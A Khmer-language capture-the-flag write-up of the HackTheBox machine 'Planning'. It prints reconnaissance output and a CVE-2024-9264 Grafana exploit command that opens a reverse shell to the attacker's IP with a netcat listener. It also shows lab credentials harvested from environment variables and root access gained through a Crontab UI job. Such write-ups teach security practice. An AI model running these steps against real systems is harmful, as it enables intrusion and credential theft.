• នៅដើមលំហាត់ HTB ផ្ដល់ credential admin/0D5oT70Fq13EvB5r មក ដោយមិនប្រាប់ព័ត៌មានបន្ថែម។

ពិនិត្យដំបូង

  • មុនគេ ខ្ញុំ scan ដើម្បីមើលថាមាន service អ្វីខ្លះកំពុងដំណើរការ។
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
nmap -sVC -v 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 15:00 +07
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Initiating Ping Scan at 15:00
Scanning 10.10.11.68 [4 ports]
Completed Ping Scan at 15:00, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:00
Completed Parallel DNS resolution of 1 host. at 15:00, 0.05s elapsed
Initiating SYN Stealth Scan at 15:00
Scanning 10.10.11.68 [1000 ports]
Discovered open port 22/tcp on 10.10.11.68
Discovered open port 80/tcp on 10.10.11.68
Discovered open port 8001/tcp on 10.10.11.68
Completed SYN Stealth Scan at 15:00, 2.25s elapsed (1000 total ports)
Initiating Service scan at 15:00
Scanning 3 services on 10.10.11.68
Completed Service scan at 15:00, 6.53s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.68.
Initiating NSE at 15:00
Completed NSE at 15:00, 6.73s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 1.00s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Nmap scan report for 10.10.11.68
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8001/tcp open http SimpleHTTPServer 0.6 (Python 3.12.3)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.3
|_http-title: Directory listing for /
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Initiating NSE at 15:00
Completed NSE at 15:00, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds
Raw packets sent: 1005 (44.196KB) | Rcvd: 1002 (40.080KB)
  • Port 22 (SSH), 80 (HTTP) និង 8001 (Python SimpleHTTPServer) បើក។
  • គេហទំព័រនៅ port 80 បញ្ជូនទៅ planning.htb។
  • ដូច្នេះ ខ្ញុំបន្ថែម entry ក្នុង /etc/hosts៖
  • 10.10.11.68 planning.htb

ស្វែងរកព័ត៌មានបន្ថែម

  • ខ្ញុំមើលគេហទំព័រជាមុន តែមិនឃើញអ្វីគួរឱ្យចាប់អារម្មណ៍។ នៅ port 8001 មាន directory listing។
  • ក្នុងចំណោម file ជាច្រើន ខ្ញុំឃើញឈ្មោះ CVE-2024-9264។
  • ពេលស្វែងរក ខ្ញុំដឹងថា CVE នេះពាក់ព័ន្ធនឹង Grafana ដែលជា web app សម្រាប់វិភាគ និងបង្ហាញទិន្នន័យ។
  • បន្ទាប់មក ខ្ញុំប្រើ ffuf ស្វែងរក subdomain។
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -u http://planning.htb -H "Host:FUZZ.planning.htb" -w /usr/share/seclists/Discovery/DNS/services-names.txt -c -t 100 -fs 178

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/services-names.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________

grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 247ms]
:: Progress: [1419/1419] :: Job [1/1] :: 382 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
  • ខ្ញុំរកឃើញ grafana.planning.htb។ ក្រោយបន្ថែមវាទៅ /etc/hosts ហើយបើកមើល ខ្ញុំឃើញទំព័រ login។ ព័ត៌មានពី port 8001 ធ្វើឱ្យខ្ញុំស្វែងរក CVE-2024-9264 បន្ត។
  • ខ្ញុំប្រើ PoC នេះ។
1
python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.123 --reverse-port 9001
  • Credential ដែល HTB ផ្ដល់ឱ្យដំណើរការ។ ខ្ញុំបើក listener នៅលើម៉ាស៊ីនខ្លួនឯង។
1
2
3
4
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.123] from (UNKNOWN) [10.10.11.68] 38302
sh: 0: can't access tty; job control turned off

ចូលដល់ប្រព័ន្ធជាលើកដំបូង

  • Shell ដែលទទួលបានជា root ប៉ុន្តែមិនទាន់ឃើញ flag ទេ។
  • ខ្ញុំពិនិត្យ environment variables ហើយរកឃើញ credential មួយទៀត។
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=/usr/bin/sh
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
  • ខ្ញុំប្រើ GF_SECURITY_ADMIN_USER និង GF_SECURITY_ADMIN_PASSWORD ដែលរកឃើញ រហូតអាចចូលម៉ាស៊ីនជា enzo។
    enzo@planning:~$ cat user.txt
  • ខ្ញុំដំណើរការ linpeas.sh៖
    Description
  • File /opt/crontab/crontab.db គួរឱ្យចាប់អារម្មណ៍។
    Description
  • ខ្ញុំរកឃើញ password មួយទៀត។
  • ក្រោយស្វែងរកមួយរយៈ ខ្ញុំឃើញ service មួយទៀត។
    Description
  • ខ្ញុំឃើញ Crontab UI ដំណើរការលើ 127.0.0.1:3000 ក្នុង target។ ខ្ញុំ forward វាមក localhost:8000 លើម៉ាស៊ីនខ្លួនឯង។
    ssh -L 8000:127.0.0.1:3000 enzo@planning.htb
  • ខ្ញុំប្រើ SSH សម្រាប់ port forwarding។
  • នៅ localhost:8000 គេហទំព័រសុំ credential។
  • ខ្ញុំបញ្ចូល username root និង password ដែលទើបរកឃើញ។
  • ខ្ញុំអាចចូល Crontab UI បាន។
    Description
  • ខ្ញុំបង្កើត cronjob ថ្មីឱ្យដំណើរការ cat /root/root.txt > /tmp/flag។
  • ពេល cronjob ដំណើរការ ខ្ញុំអាន /tmp/flag ហើយទទួលបាន root flag។

អរគុណដែលអាន writeup របស់ខ្ញុំ!